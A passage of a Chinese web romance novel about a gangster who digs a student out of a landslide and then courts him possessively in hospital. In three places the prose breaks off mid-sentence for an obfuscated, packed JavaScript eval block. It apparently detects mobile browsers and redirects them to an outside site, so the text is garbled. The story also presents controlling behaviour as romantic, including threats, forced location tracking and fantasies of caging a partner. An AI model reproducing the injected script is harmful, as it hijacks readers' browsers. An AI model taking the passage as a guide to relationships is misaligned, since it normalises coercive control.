[我的家乡被连绵不绝的大山包围,像无穷无尽也无形的枷锁,将人禁锢在群山之巅里,曾经我以为自己会永远画地为牢,和我的阿姐陶圆、还有外甥小檬永远生活在这一方天地。] [直到遇见你,静群哥哥。] [你的眉毛像两条蜿蜒的河流,你的眼睛像山峦的峰顶,你的鼻子像陡峭的悬崖,你的嘴巴像山中的青草和绿树,你的气质像翱翔的雄鹰……在你身边,我如生活在家乡里一样亲切、喜爱……] 赵静群摩挲着手上的烟疤,嘴角的笑意彻底没了遮掩,视线一个字一个字扫过,直到来到情书的最后两行。 [……静群哥哥,你送我的衣服我很喜欢,我会非常珍惜这个礼物,可是…… [“我因你而雀跃着的心,是你赠与我最宝贵的礼物①”。] 少年的情书青涩却美好,最后一个字扫过,赵静群深吸了一口气,他的心脏剧烈跳动,从拆开情书到看完就没停下来过……没想到这呆子在纸上还挺会说的, 他盯着这封看上去就知道少年是用了百分百心思写出来的情书,出神许久,最后眼睛里的光才黯淡下去。 他又小心翼翼把情书封好,摸了一包烟,出去抽烟了。 赵静群在外面的水泥台阶上坐着,没过多久,地上就出现了数十个烟蒂,一直到后半夜忽然下起倾盆大雨,才回了屋子继续睡。 哗啦哗啦。 雨越来越大,山中的雾气也愈发浓重,到了后面,雷鸣电闪几乎没有断过。 电视里,当地晨间新闻开始发布暴雨橙色预警:预计未来一周都会有暴雨、特大暴雨,市区有几所中学已经停课,正提醒广大市民朋友,注意防洪防汛,山区的人民注意防范山洪、滑坡等次生灾害…… “静群!你还在吗?你醒了吗?!” 砰砰砰! 敲门声没响几下,屋子的门就被人一脚踢开了,赵静群眼角下挂着比前几日更浓重的黑眼圈,神色阴鸷,见进来的人是陶圆后,脸色才缓和了点,“出什么事了?” 陶圆喘着气,眼眶通红,急得就像热锅上的蚂蚁,“刘三七大早上过来让柠柠去送你们,现在他们联系不上了!外头下这么大的雨,我们这儿地山路不好走,碰到暴雨山上的石头会塌下来,你能联系……” 她话还没说完,刚才还拧着眉的男人已经穿好衣服冲了出去,甚至任何防雨的东西都没带,身后的陶圆大声喊道:“我跟你一起!!” “……妈妈,怎么了?” 现在才早上九点左右,小檬揉着眼睛。 陶圆蹲下来一把抱住他,尽量让语气平静下来:“没什么,你再去睡会儿,等会儿妈妈带舅舅回来,就给你做饭吃好不好?” 小檬点点头,“那我要吃番茄炒鸡蛋。” 陶圆答应他,故作镇定把他送到房间里后,迅速拿了两件雨衣也跑进了大雨里。 刚跑村门口,陶圆才发现有些眼熟的村里人正陆陆续续往山路方向赶,她随手扯住一个慢悠悠走路的问:“是不是山上塌了?!” 被她拉住的村民点头,“应该是吧,反正村长叫我们赶紧去帮忙。” “刘三七他联系上没有?” “就是担心书记遇上那事了,才让我们赶紧过去看看。” 陶圆快急死了,骂道:“那你在这儿闲的放屁做什么?!还不跑快点!”说完,就扔下这人跑走了。 村民“呸”了一口她的背影,“臭婆娘……” 等陶圆急匆匆赶到山路上时,差点没一屁股跌倒在地,因为她最担心的事还是发生了。 山体滑坡了! 而且这一次坍塌非常严重,几乎半边山上五分之一的东西全部塌下来了,聚集在灾害现场的人越来越多,村长正焦头烂额的喊:“动作快点!也不要乱动石头!三七他们还在下面……” 旁边还有一个哭得撕心裂肺的少女,看着不像山里的人,另外站着一个与她相像的少年,脸色煞白。 赵静群就站在他们面前,浑身湿透了,雨水顺着他绷紧的轮廓滑下,他的脸色是前所未有的难看,双眸一片猩红,怒吼道:“陶柠呢?!!为什么就剩你们在这儿?陶柠在哪儿!!” 男人就好像一头失去枷锁的野兽,浑身点燃了暴虐的怒火,似乎想将周围的一切燃尽。 何年年恐惧到全身发抖,话都说不利索了,“他……他……为了救我……”话到最后,直接崩溃出声了,“被压在下面了……” “闭嘴!!” 赵静群双眸瞬间充血,怒吼着打断她的话,眼睛红到滴血的地步,手指也不受控制地发起抖。 最后,深深地吸了一口气,几乎是从牙缝里挤出来的字,“他要是出事,你们这辈子都别想好过。” 话落,他就跑到那堆三四米高的坍塌堆边,像疯了一样用手去挖碎石头,嘴里不停地喊着:“呆子……你别吓我……” 他被深深的愧疚感与悔恨笼罩,怪自己昨天不该让人把何氏兄妹他们接回去,怪自己为什么昨天晚上睡那么晚,怪自己为什么早上没有听见陶柠醒来的动静…… 雨水混合着汗液淋湿从脸上落下,顷刻间,将男人彻底击碎,他恐惧的神情就好像失去了最为宝贵的猎物、宝物。 不知道过了多久,天地灰暗。 男人跪在地上,双手已经鲜血淋漓了,十个手指全部破裂,流了一地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859535|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血,又被雨水冲刷掉,耳边是救援队的指挥,还有赵静岁和陶圆的呼喊。 可他通通都听不见了。 男人满脑子都是少年笑着,忽然又被石头压倒的画面,这些画面他只是想象一下,就浑身害怕到发抖。 赵静群彻底失去了理智,就在他要一直挖掘下去,永无停歇时,旁边忽然传来惊呼:“他们在这儿!” 石头被推开,救援人员惊喜地发现,需要被救援的三个人运气好得出奇,他们被一块巨大的石头庇护了,这个石头恰好和路面以及山墙形成了最为稳固的三角形受力。 虽然洞口比较窄小,但足够他们出来了。 而里面等了几乎一天救援的三人,听到声音后眼睛都齐刷刷一亮,靠近洞口最外围的陶柠,感受到光线,以及看到救援人员的脸后,终于松了口气。 今天早上书记忽然过来找他,说有两个人要回城里,叫他一起去送,陶柠就跟着去了,那个时候雨还没有下很大。 结果到了半路上,暴雨倾盆,大到几乎淹没天地,路上电动车也跟着熄火了。陶柠预感有不好的事情发生,就让何氏兄妹们先下了车,找个地方躲下雨。 何年年下去后,本来因为淋雨就发了一通脾气,又以为陶柠怀恨在心,要把他们丢在这山上不管了,死活不肯走远点,结果山体突然滑坡。 是陶柠一把将她推了出去。 她现在回想起来都后怕极了。 系统也很后怕: 【还好呆瓜你没事!!不然我要以死谢罪!】 说着说着,系统发出了类似哭泣的“呜呜呜”声,是很标准机械的的“呜呜呜”。 陶柠的眼镜不知道去哪里了,他一边跟着救援人员的指挥一点一点钻出来,一边不忘安慰他: 【我没事了,不用担心。】 等他终于重见光明,稳稳当当站在地上时,还没等他舒展一下身躯,忽然,一阵猛烈的风冲了过来。 随之而来的,是一个用尽全身力气的怀抱,夹杂着很淡的烟味和浓烈的血腥味。 这个怀抱力度大到好像要将少年揉碎进骨血里,严丝合缝地彻底塞进心里,仿佛一头失控的野兽,终于找回了掌控他枷锁的猎物、宝物,才如此急切地想要用身体裹住。 “……陶柠……你……吓死我了。” 男人的怀抱在发抖,声音也在抖,似乎还有几丝不易察觉的哽咽。 陶柠征征的,一时间有些回不过神,直到这个怀抱越收越紧,越收越紧,紧到几乎要让他喘不过气。 “……赵静群?” 头顶没有传来任何声音,过了许久,陶柠又说了一句:“我没事了。” 直到这句话落下,怀抱才一点一点松开,陶柠抬起头,却撞入了男人猩红的眼睛,他颤抖的嘴唇:“你赢了,陶柠……你赢了。” 什么他赢了? 陶柠有些发懵,下一刻,男人又把他抱进怀里,力度依旧大到让他喘不过来气,过了片刻,耳边是他压得极低极沙哑的声音: “我们在一起吧,呆子。” 他终于意识到,失去少年的恐惧比任何事情都要令他害怕,他再也无法承受这样的事情发生第二次。 他终于承认了,他喜欢陶柠。 他这个混混,喜欢上了一个呆子。 14. 第 14 章 “你们还愣着干啥?还不把我弟弟送去医院!” 陶圆叉着腰吼了几句,看着紧紧相拥的两人,见陶柠安然无恙,心里悬着的石头终于落下。 她擦了把额头的汗,感慨自己果然没有看错人。 小赵虽然外表看起来是个地痞流氓,不好惹,没想到心肠真热,竟然这么关心他弟弟,听到他弟弟出事,比她这个做姐姐的还着急。 看这急到还抱着弟弟不撒手呢,陶圆想起之前对赵静群有偏见,不由得惭愧,果然不能以貌取人。 同时也放心陶柠去城里读书了,有赵静群照看着,陶柠不会受委屈。 医护人员把担架抬过来,赵静群不动神色地用唇碰了一下陶柠的额头,才松开充满禁锢的怀抱。 抬起手,想替少年整理一下被汗水黏住的发丝,却发现手掌都是血,挖碎石的时候五个手指甲全部断裂了。 他拧起眉,刚想收回去,少年却轻轻捉住了他的手腕,“你受伤了……要和我一起去医院……” 赵静群没有听少年在说什么,而是盯着他脸颊左侧的泥巴。 污渍在少年白皙如玉的肌肤上格外刺目,心尖忍不住再次泛起密密麻麻的疼,好似最珍贵喜爱的宝物差点被自己弄丢了,还受了委屈。 陶柠见手还在滴血的男人没反应,愣愣地用手戳了一下他的胸膛,这一碰,仿佛触动了男人身上的某个开关。 赵静群回过神,语气又有些凶巴巴的:“别乱动。” “噢。” 陶柠不明所以,但还是乖乖地听话不乱动了。 医护人员要把他抬到担架上去,陶柠摇了摇头,指着赵静群流血的手说:“他受伤了,麻烦你们给先给他包扎……” 话还没说完,身体忽然腾空而起,陶柠呆滞了一下,反应过来后急忙抓住男人的肩膀。 赵静群不顾四周诧异的目光,直接把陶柠公主抱起来,走了几十步,才把怀中的人轻柔地放到担架上,小心翼翼的模样好似对待易碎的珍宝。 何年年甚至忘记哭了,擦了把鼻涕,在一旁看得目瞪口呆。 她从来没见过赵静群露出这副紧张的样子,之前赵老爷子得了重病,各界有头有脸的人物去探望了。 何年年家的身份连大门都进不去,但她跟在赵静岁身后去露了个脸,也远远看过赵静群一眼。 男人脸上别说紧张了,是一丝一毫表情都没有! 如果说那时候赵静群刚被接回去,对赵家没有多少感情,所以做不出样子可以理解。但这个土包子跟赵静群无亲无故的,他紧张成这样是为什么? 不知道的还以为这土包子是他老婆。何年年被这个突然冒出来的想法弄得一阵恶寒,心想应该是她看错了。 她觉得自己是看错了,另一个从塌方下钻出来的瘦干男却心起疑云。 他就是来接何氏兄妹的人,结果人没接成,还碰到山崩滑坡,也是衰到家了。 瘦干男凑到赵静群面前,犹豫着问:“赵少,我那天听刀子说您在乡下看上谁了,又是给人买衣服又是给人买手机的,大伙以为是个村花把您迷住了……不会是他吧?” 赵静群盯着医护人员把陶柠带走,一双狭长的眼睛才睨向他,没作声。 瘦干男挠着头,“真是他啊?可……可他是个带把的啊!男的啊!赵少……” 他想再多劝几下,不料听见男人不冷不热反问:“男的又怎么了?” 瘦干男哑口无言。 赵静群冷着脸继续说:“过段时间我会把他带回去,孙老二,你那张嘴给我闭紧了,要是让我听见任何风言风语,我第一个找你。” 阴冷的目光扫射过来,带着威胁和警告,想起这位爷打起架来不要命的狠劲儿,孙老二打了个寒颤,谄媚道:“不敢不敢,这……这嫂子长得跟天仙似的,您喜欢上情有可原。您放心,就算有人要一枪崩了我逼我说,我也是万万不敢开口的。” 赵静群哼笑一声,直到陶圆跑过来,看见他流血的手,尖叫着说:“你这傻孩子!怎么不和柠柠一起去医院啊?快过来!” 去医院的路上坐的依旧是老旧三轮,说是去医院,其实就是镇上比较大的卫生所。 陶柠刚想带赵静群去包扎双手,结果一转头,人就不见了,她嘟囔着:“嘿——这孩子。” 病房里,医生一边用纱布将陶柠小腿上的擦伤绑起来,一边皱眉道:“你这伤口不对劲,血到现在才止住,一般人这种小伤口几分钟就止血了,我建议你住院多观察几天。” 桌上堆满了带血的纱布,陶柠脸色苍白,他今天出门的时候穿的是黑裤子,没有注意到小腿被石头刮伤了,待在塌方下的恐惧淹没了疼痛,只是觉得脚底很黏腻。 那时候他以为是汗液,现在才发现竟然全是血,鞋子也不能要了。 所以赵静群赶过来时,最先入目的是一堆染血的纱布,陶柠光着脚,面色惨白,好似薄薄的一张纸,微风一吹,就可能倒下了。 看到这一幕,赵静群觉得胸口闷到喘不过气,立刻走上前蹲下来,盯着陶柠裹满纱布的双腿,“怎么会流那么多血?他身体是不是有其他问题?” 医生如实说:“看样子应该是凝血功能出了问题,你是他哥吗?我建议你以后带他去城里的人民医院看看,不过现在血已经止住了,再住几天院观察一下,到时候没问题就可以出院了。” 等医生走后,赵静群用洗过的双手给他盖好被子,他不像陶柠体弱,半天也止不住血,没多久的功夫,他的手指已经自动止血了,还有结痂的趋势。 赵静群皱眉说:“等你伤好了,我带你去星城检查。” 星城是X省的省会,全省最好的医疗资源集中在那里,可他未来要去的城市,却是经济最为发达的城市之一海州市,短短两个月的暑假,根本治不了什么东西,他也无力负担医疗费。 陶柠垂着眼,他也不能说攻略任务完成后身体就会好起来。 当时系统听到男人说要和他在一起时,“呜呜呜”立刻停止了,高兴到在他脑海里放歌:【我再也不说你呆了呆瓜,这么快就把赵静群攻略下来,你简直太厉害了!那我们可以执行第二步了,想办法让他对你说‘我爱你’,然后你再甩了他,这样不会耽误你进城去攻略其他两个。】 陶柠回过神,看着赵静群眼底的急切,纤细的手忍不住抓紧被子,“……我不想去。” 赵静群眉头皱得更紧,“不行,这件事没有商量。” 陶柠慢慢扭过头,不去看他了,线条优美的轮廓绷得有些紧,红润的唇微嘟,似乎不高兴了。 只是少年生起气来,依旧漂亮得不像话。 赵静群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859536|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状,有些无奈,也没想到这呆子看起来好欺负,容易搓扁揉圆,没想到脾气还挺大,性格也倔得很。 但想起自己在山上说的那些话,赵静群神色变得不自然,语气却放缓了,“听我的话,好不好?” 他揉了揉少年的头发,“只是去看一下,没问题我们就回来。” 听到这话,陶柠才肯把头扭过去,看着他,却冷不丁问:“我们……在一起了吗?” 赵静群布满伤痕的手一顿,目光倏地转冷,“怎么?想赖账?我告诉你不可能,也不要动这种念头,是你先招惹我的。” 似乎意识到语气太凶了,他收回目光,不自然道:“所以我带你去医院检查,是我……这个做男朋友的义务,作为你男朋友,我是关心你才带你去。” “……男朋友?” 少年轻声呢喃这三个字,脸上露出懵懂的表情,好似被恶狼拐回家的小白兔。 赵静群见状,整颗心都软了,嘴角不由自主地勾起,“是,从今天起,我就是你男朋友,你陶柠现在归我赵静群了。” ——我也归你。 但他没有说出这四个字。 只是接下来,少年说出来的话,却让他的心狠狠一跳,“男朋友该做什么?” 病床上的少年微微扬起巴掌大的脸颊,五官如浓墨重彩的画,一双浅棕色的眼睛懵懂无辜看过来,仿佛坠入凡尘不谙世事的天使。 赵静群呼吸变得急促,想起孙老二说“嫂子长得跟天仙似的”,眼眸渐暗,忽然伸出手。 下一瞬。 陶柠感受到,有一双温暖粗糙的手掌遮住了自己的眼睛,男人带着淡淡烟草味的气息扑面而来,滚烫的温度也跟着压下来了,紧接着,红唇被另一双干燥的唇轻啄了一下。 “……这样做。” 男人的嗓音沙哑到了极致,就像生锈的铁。 陶柠被蒙住了眼睛,看不见男人脸上的表情,但若看到,肯定会小小的吓一跳。 因为遮住他眼睛的男人,好似一匹孤独已久后找到伴侣的恶狼,双眸充血,正死死盯着他掌下的红唇,那目光就像要把红唇的主人生吞活剥了。 赵静群深吸一口气,呼气的声音都在发颤,片刻,他终于放下手,低声哄道:“听话,你不是要去城里读书么?到时候我带你去医院。” 其实他想说的是,再过一段日子他就回去了,那时候赵静群就会把陶柠带走,只是怕吓到他,就把时间说长了一点。 总之这活宝贝他一定会带走,不放在身边,他心里不安,而且这段时间看来,少年很容易在山里受伤,赵静群更不放心了。 只是这些他都没有说。 陶柠似乎被他说服了,点了点头,也不倔了。 赵静群这才放心,又给他盖好被子,把桌上的用具都清洗了一遍,带上那双浸透血的鞋子,合上门去处理手上的伤了。 等他处理好伤口回来时,病床上的少年已经睡熟了,他安静地躺在那里,橘色的黄昏洒进来,仿佛周围的时间也跟着静下来了,一切美好得不像话。 赵静群直接看呆了,他蹑手蹑脚靠近,把新买的柔软干净的拖鞋放在病床下,忍不住弯腰,想像当初少年偷吻他一样做个偷亲小贼。 不料双唇刚碰到少年的鼻尖,砰砰砰几声响,病房门一下被人推开了。 15. 第 15 章 “我回去杀了只鸡过来,柠柠,静群啊,快来喝鸡汤,咱家三四年以上的老母鸡,你俩今天一定要吃干净了……” 陶圆左手柃着一个保温盒和一些换洗衣物,右手牵着小檬进来。 赵静群迅速和身下的人拉开距离,装模作样掖被子,结果身下的人睁开眼,恰好与他四目相对。 “……” 男人有些心虚地先移开视线,直到小檬跑过来,“舅舅!”他从赵静群身底下钻过去,跑到陶柠跟前,泪眼汪汪问:“舅舅!妈妈是大骗子,你生病了都不告诉我。” 他嘟起嘴,陶圆把鸡汤分成三份,骂道:“闭上你的嘴,臭小子,别打扰你舅吃饭。” 小檬看着陶柠几乎没有血色的脸,心疼坏了,顿时不说话了。他又瞪了一眼帮陶圆布菜的赵静群,用很小的声音说:“你不准欺负舅舅!” 赵静群盛了碗鸡汤,心里乐了,这小外甥不错,挺会护着呆子的。 他把枕头垫在陶柠背后,拿起鸡汤,用勺子舀了几下,吹凉了一会儿,自然而然要喂陶柠喝汤的时候,三双眼睛齐刷刷看过来。 陶圆在感慨:她果然没看错人,看这小赵热心肠的,都要亲自喂柠柠喝汤了。 小檬:这讨厌鬼在干嘛?舅舅才不喝他喂的! 陶柠:“……谢谢你,但我的手没有受伤。” 赵静群后知后觉发现自己做的太过了,很容易被人察觉他们不同寻常的关系,他故作镇定把汤放到桌上,把自己那份鸡汤一口闷了后,去外面抽烟了。 他需要冷静几下。 陶柠埋头喝汤时,陶圆坐在他旁边,笑得和花一样,“柠柠啊,静群对你真不错,阿姐那时候还以为他是哪儿来的流氓呢!没想到对你比我这个做姐姐的还上心,你看看,把你照顾得哪儿哪儿都好,你可得感谢人家,进城后多和静群搞好关系……” 陶柠点点头,接着听见陶圆感慨:“哎哟,这么一想,静群那孩子越看越不错,模样俊,还会疼人,也不知道以后哪家姑娘有福气嫁过去了……” 陶柠默默放下碗筷,“阿姐,我吃饱了。” “就吃这么点怎么行?!不行不行,你再多吃一碗,我熬了一天呢。” 陶柠摇了摇头,垂着头,也不说话,只露出一个柔软的发顶。 陶圆看着他这副不吭声的倔样就来气,“你这臭小子,每次吃饭就吃这么点儿,难怪瘦得跟甘蔗杆一样,以后哪家姑娘嫁给你,你连人家姑娘都抱不动咋整?到时候尽让我老陶家出丑了!” 陶柠小声反驳:“我抱的动。” “嘿——敢顶嘴了是吧……” 陶圆数落着数落着,赵静群进来了,以前他看见陶圆数落陶柠,会觉得这俩姐弟挺有意思,现在却心里有些不舒服。 他挡在两人中间,“怎么了?” “这臭小子喝了一点鸡汤就不喝了,吃的比蚂蚁还少,这怎么长得了肉啊?怎么养好身体?说他还顶嘴。” “这里我来吧,现在太晚了,你们先回去。” 小檬不乐意了,他还想守着陶柠呢,结果下一秒就听见赵静群似笑非笑说:“小檬这个年纪不早点睡长不高。” 小檬立刻就跳起来了,拉着陶圆的手,“你才长不高呢,我肯定会长得比你还高的!妈妈,我们回家睡觉!”然后又恋恋不舍和陶柠说,“舅舅,我明天再来看你。” “好,回家不要看电视。” 陶圆现在对赵静群彻底放心,看天色是时候该回去了,临走前又嘱托了几句,说明天再杀只鸭子过来,才牵着小檬的手离开。 他们一走,赵静群立刻恢复成刚开始的模样,一边拿汤碗,一边拿勺子给他吹凉,眼底的温柔几乎要溢出来了,语气却是命令式的,“听话,再吃点。” 陶柠眨了下眼睛,“不想吃了,好腻。” 少年的声音轻而软,就像一根柔软的羽毛,不轻不重挠了心脏一下,赵静群拿着汤匙的手跟着一颤,脸上却没什么表情。 他放下汤碗,声音有不易察觉的宠溺,“那你想吃什么?” 陶柠说:“我想喝青菜粥。” 赵静群记下了,他把鸡汤倒回保温盒里,擦了下手,“等着。” 陶柠静静地看着他离开,门合上后,疼痛和睡意顿时如潮水袭来,但他没有关床头的灯,直接睡过去了。 墙上的时钟指到九时,一个小时左右的时间过去,陶柠被窸窣的动静吵醒了,他迷迷糊糊睁开眼,就看见男人额头带汗,正弯着腰从保温盒里拿东西出来。 见他醒了,男人把床上桌展开,刚才从保温盒里拿出来的菜全部摆在他面前,陶柠看过去,愣住了。 冒着热气的青菜粥,清炒土豆丝,还有一个海带炖排骨。 ……都是他爱吃的。 赵静群把粥摆到他面前,“趁热吃。” 陶柠小口小口喝着,抬眼看过去,却发现男人正盯着自己看,见到他的目光,又移开视线了。 “这些……都是你买的吗?” 赵静群淡淡地“嗯”了一声,白炽灯下,脸上泛起疲惫,“吃慢点,我去外面抽根烟。”他走到门口,身后传来少年软糯的声音,“要少抽烟,对身体不好。” 陶柠看见男人身体僵硬了一下,半晌,低沉沙哑的声音才道:“行……我戒烟。” 等陶柠都吃完后,赵静群恰好回来,他过来把保温盒收拾完,又听见少年小声说:“赵静群,我想洗澡。” 赵静群回头,挑着眉看他,“叫声哥就带你去。” 陶柠呆住了,他盯着赵静群,发现他左右两只耳朵上的耳钉都取下来了,但脸上依旧带着几分痞气,尤其是那头红发,张扬似火。 于是陶柠缓缓低下头,很乖地叫了一声:“静群哥哥。” 这声“哥哥”落下后,陶柠垂着头,半天也不见回应,他困惑地抬起头,却见男人幽深的目光正死死盯着他,像穷凶恶极的野兽,有些可怕。 但过了几秒,男人阴暗的视线就消失的一干二净,嘴角勾起,再一次背过身,朝他弯下腰。 “上来吧。” 陶柠不明所以,但还是趴上去了。 直到赵静群把换洗衣服让他拿着,背着他出卫生所,他才发觉不对劲,“我们去哪儿?” 他听见背着他的男人哼笑了一下,“去酒店。” 陶柠愣愣的,“去酒店干什么?” 赵静群顶了一下腮,最终没把那两个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859537|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出口,掂了他一下,把背上的人托得更稳些,防止他掉下去。 “去洗澡啊。” “……这样会不会不好?” “我说好就好。” “噢。” 小镇的人睡得很早,这时候将近十一点,很多店铺已经关门了,昏暗的路灯下,只有三三两两几个人。 男人背着他,气都没有喘一下,反而在心里越来越认同陶圆说的话,这宝贝太瘦了,以后他要喂胖点。 两人路过一家店面时,里面的老板惊喜道:“小哥是你啊?我们那厨房干净吧,下次记得把菜也带过来啊,我们少收你点钱。” 陶柠想起刚才问那些饭菜是不是买的,男人冷淡地“嗯”了一声,现在才知道原来不是,是他去家庭厨房自己做的。 背着他的人身体有些僵硬,过了许久,赵静群才听见耳畔有个很浅的呼吸声,“谢谢你。”甜腻的柠檬味果香也钻入了鼻尖。 很好闻,疲惫了一天的身体,终于得到彻底放松。 到了酒店,赵静群直接订了有浴缸的房间,向前台要了个防水的凳子,才抱着少年进浴室。 赵静群放好洗澡水,最后在门外守着他。 时间一点一点过去,直到浴室门开了,少年换好衣物出来,赵静群皱眉,“怎么自己出来了?” 陶柠垂着头说,“我能走路……” 赵静群眉头皱得更紧,“沾到水了没?” 陶柠不作声了,赵静群眉头微蹙,不容拒绝地将他一把横抱起,放到床沿,蹲下来小心翼翼把他的裤子掀上去,又从裤子口袋里掏出一卷纱布。 陶柠低着头看,男人皱着眉,如刀削的轮廓绷得很紧,换纱布的动作却非常熟练,似乎这样的事情他曾经做过千百遍了。 “你以前……经常受伤吗?” 男人垂着头给他腿上缠纱布,过了片刻,才淡淡地“嗯”了一声。 “为什么?” 赵静群仔细地给他包扎好,抬起眼皮,一双漆黑的眼睛沉沉地看着满脸好奇的少年,嘴角上扬,就这样看着他,也不说话。 过了许久,少年漂亮的脸蛋上都是好奇心,见他这么盯着自己,又露出几分困惑。“怎么了?” 赵静群在心底叹了口气,这活宝贝的确是个呆子,他指了指自己的唇,“亲我一口。” 少年水润的双眸如散发光泽的珍珠,他盯着男人有些干燥的唇,闭上眼睛,低头亲了上去。 然而红润的唇刚贴上去,后脑勺就扣上了一只宽厚粗糙的手掌,那双干燥到有些裂开,带着很淡烟草味以及浓烈雄性气息的唇重重吻了上来。 男人动情地吻着他,难以自抑地掠夺少年嘴里的氧气和甜腻,咬着他软嫩的舌尖,房间里发出了暧昧黏腻的水声。 足足过了有五分钟,到了最后,怀中的人受不了了,少年几乎喘不过气,用手去推似着了魔般亲他的男人。 这点力气对男人来说,等于没有,就像情趣一样,但男人还是停止了唇上的掠夺。 男人发出一声餍足的叹气,那双似狼的眼睛紧盯着少年溢出水的眸子,粗糙的拇指擦掉了他眼角的泪珠,然后把他死死抱紧怀里,低沉的嗓音轻声道:“呆宝……” 16. 第 16 章 那天晚上,赵静群又把陶柠稳稳当当背回去,把他抱进怀里,一边轻轻拍他的背哄他睡觉,一边和他解释为什么包扎伤口很熟练。 “我三岁的时候被人拐走了,买家是个独眼狼,家里一穷二白,娶不到老婆,所以把我买过去养老,他在附近帮人催债,我十一岁的时候也跟着去了,催了五六年,赵家找到我,就把我接回去了。” “收那些钱偶尔会见血……” 所以受伤是常事,没钱去医院,就自己买几块旧纱布随意包扎了,还有一部分伤,是那个独眼的养父喝醉了酒,或者碰到不顺心的事,他就会遭一顿毒打。 但是这些赵静群通通都没有说,其他不是很重要的事三言两语就说完了。 自始至终,他神色毫无波澜,事不关己的样子仿佛在说别人,直到怀中的人贴上来,轻柔地啄了一下他的脸颊,清冽的果香瞬间抚平他暗藏的暴戾。 垂下眼皮,和少年干净的双眸对上,赵静群深深凝视着他,轻呼一口气,手掌微颤盖住少年的眼睛,哑着嗓音哄他:“好了,睡前故事听完了,乖……睡觉。” 有了陶柠, 他不会觉得孤单了。 自那以后,赵静群白天给他做一日三餐,盯着医生给他换药,晚上就带他去酒店洗澡。 陶柠每次小声说有点浪费,赵静群就直接堵住他的嘴,让他说不出话。 陶柠刚开始会红着脸反抗,到最后就不敢提了。 因为男人亲他不仅时间久,而且还很用力,偶尔一两次他睁开眼睛,撞入男人阴沉沉的眼眸,那双狭长的眸子里充满了浓烈的占有欲,甚至有些恐怖。 就像草食性动物被黑暗里森冷的野兽盯住了,陶柠感到有些不安,以至于他不太敢反抗了。 直到出院那天,陶圆来接他们回家,一眼就看见赵静群左右手拎着大包小包,陶柠垂着眼睛跟在他身后,双手空空,脸色也红润得像娇艳欲滴盛开的玫瑰花,完全没有刚进医院时的惨白。 就是嘴巴肿了点,是被什么虫子咬了吗?陶圆也没多想,她就前两天来送过鸡汤鸭汤,后面家里农活太忙了,赵静群也给她发消息,说会照顾好陶柠,甚至要了一大串陶柠喜欢吃的东西。 陶圆很放心,就把陶柠托给赵静群照顾了,只是到家的时候,她把陶柠喊进去看小檬做作业,然后把赵静群拉到一边,给他塞了五六百,“静群啊,这几天柠柠实在是麻烦你了,家里事情太多我忙不过来。这些钱你收着,就当姐请你买点东西,你走那天姐再请你吃饭好不啦?” 赵静群没跟她推来推去,收起来了,漫不经心问:“家里有什么活?” “嗳唷,有三亩地的稻子要收啦,还有半个山头的柠檬要拿出去卖,事情多着呢,柠柠这几天不在,家里的鸡鸭都饿了几顿……” “这样,明天我跟着你去。” 陶圆面露喜色,“哎哟静群你是个好男人啦,可惜我没闺女,不然真想把你招进家里做女婿,太好了你这孩子……” 赵静群不动声色瞥了一眼屋内,陶柠坐在小檬身旁,暖色的灯光下,他垂着头,露出修长白皙的后脖颈,指着书桌上的习题册,殷红的唇一张一合。 这副画面,看得赵静群嘴角不自觉勾起笑意,与此同时,埋藏于心脏最深处的阴暗却有些蠢蠢欲动。 有时候陶柠不听话,他真想造个笼子把他关起来,这样他就能每时每刻都在自己眼皮子底下了。 不过绝大多数时候,这些阴暗的想法只是刚冒出头,看见陶柠那副低眉顺眼的乖样,赵静群的心就软下来了。 他走过去把一副崭新的眼镜放在桌上,眼镜依旧是陶柠以前戴的款式,很土很不起眼。“以后只有我在的时候才能摘下来,知道么?” 赵静群的行为就像一匹死守伴侣的恶狼,除了他自己,其他雄狼要是敢窥伺少年的美丽,都会被他咬死。 陶柠听话地把眼镜戴上,没有度数,他“噢”了一声,继续给小檬讲题了。 当天晚上,赵静群早已越过了两张床仅有几十厘米的界限,如这个房间真正的主人一样,自然而然占据了陶柠的床,抱着他睡觉,双手如铁般死死禁锢着他。 怀里的人只是稍微挣扎一下,男人就抱得更紧了。 次日陶柠醒来,发现赵静群换了一身运动服,拿着他的手机不知道在做什么,见他醒了,就把手机递过去,又指了一下桌上的保温盒。 “到了补课的地方就给我发消息,无论在做什么手机都要带上,听话,嗯?” 陶柠低头看了一眼手机屏幕,上面显示实时定位,传送人是一个叫“老公”的备注。 他没动过手机,是赵静群自己加的备注,陶柠点了点头,很乖的“嗯”了一声。 “饭菜我做了两份,一份放在锅里给你温着了,另一份你中午送到山里来,到了山脚就给我打电话,你不要动,等着我来接你,知道么?” 